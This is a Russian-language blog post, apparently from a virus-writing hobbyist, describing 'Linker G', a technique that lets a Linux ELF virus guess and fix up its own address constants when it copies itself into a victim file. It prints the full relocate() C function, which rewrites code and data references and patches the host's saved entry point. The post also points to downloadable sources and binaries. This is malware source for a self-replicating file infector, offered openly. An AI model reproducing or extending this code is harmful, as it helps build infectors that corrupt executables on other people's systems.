herm1t LIVE!ng room - Угадайка [entries|archive|friends|userinfo]
herm1t

[ website | twilight corner in the herm1t's cave ]
[ userinfo | ljr userinfo ]
[ archive | journal archive ]

Угадайка [Jul. 10th, 2009|02:22 pm]
Previous Entry Add to Memories Tell A Friend Next Entry
[Tags|, , ]

Написал небольшое продолжение этого проекта. "Linker" таскает за собой таблицу релоков, "Linker G" (guess what is G for?) их "угадывает". Идея в следующем: процесс живет в четырёх-гигабайтном адресном пространстве, из которого только крохотная часть - это код и данные вируса. В данном случае 4 килобайта. Неплохое соотношение. А поэтому, выдаём вирусу дизассемблер (1 шт.) и вперёд - парсить свой код на наличие констант похожих на адреса. Дальше просто - копируем тушку в жертву и из каждой найденной константы вычитаем базовый адрес вируса в текущем процессе и добавляем базовый адрес вируса же в файле-жертве. Константами со значением близким к 0x08049000 по понятным причинам лучше не пользоваться. libc вызывается довольно извращённым способом, но это можно и переделать, нельзя использовать .bss, но это от лени. :-) всё. вот так выглядит relocate() в версии G:
void relocate(uint8_t *text, uint8_t *data, uint32_t new_text,
                             uint32_t new_data, uint32_t old_entry)
{
        Elf32_Ehdr *ehdr = (Elf32_Ehdr*)get_base((uint32_t)main);
        uint8_t *p;
        yad_t y;
        /* update text and data references within text segment */
        /* the code could be improved by checking that code ref. */
        /* lies on insn. boundary, otherwise it's a constant */
        for (p = text; p - text < code_size; p += y.len) {
                if (yad(p, &y) == 0)
                        exit(0);
                y.flags &= ~C_BAD;
#define DO_REL(a,b)     \
        if (y.a >= (uint32_t)&sv##b && y.a <= (uint32_t)&ev##b) {       \
                y.a = y.a - (uint32_t)&sv##b + new_##b; y.flags |= C_BAD;       \
        }
                DO_REL(data4, text)
                DO_REL(data4, data)
                DO_REL(addr4, text)
                DO_REL(addr4, data)
#undef  DO_REL
                /* save old entry point */
#define DO_REL(a)       \
        if(y.a == ehdr->e_entry) {      \
                y.a = old_entry;        \
                y.flags |= C_BAD;       \
        }
                DO_REL(addr4)
                DO_REL(data4)
#undef  DO_REL
                /* update insn */
                if (y.flags & C_BAD)
                        yad_asm(p, &y);
        }

        /* update text and data references within data segment */
        /* we assume that all pointers are properly aligned 
        for (p = data; p - data < data_size; p += 4) {
#define DO_REL(b)       \
        if (*(uint32_t*)p >= (uint32_t)&sv##b && *(uint32_t*)p <= (uint32_t)&ev##b) {   \
                *(uint32_t*)p = *(uint32_t*)p - (uint32_t)&sv##b + new_##b;     \
        }
                DO_REL(text)
                DO_REL(data)
#undef  DO_REL
        }
        */
}
В принципе, можно применить этот вариант и к жертве, но стрёмно, двух простых правил маловато, чтобы отличить константу от адреса, хотя вероятность напороться не очень высока. Я считал.

Скачать исходники, бинари. Тестировано на RHEL 5.3. (оно немного глючит. но это же альфа, просто, чтобы показать идею.

Осталось добавить ещё третий вариант, когда вирус добавляет свои релоки в .rel.dyn, тогда всю работу выполнит RTLD. И никакого, блядь, ассемблера, дельт злоебучих, массивов заполняемых push и mov и прочей ахинеи. :-)

LinkLeave a comment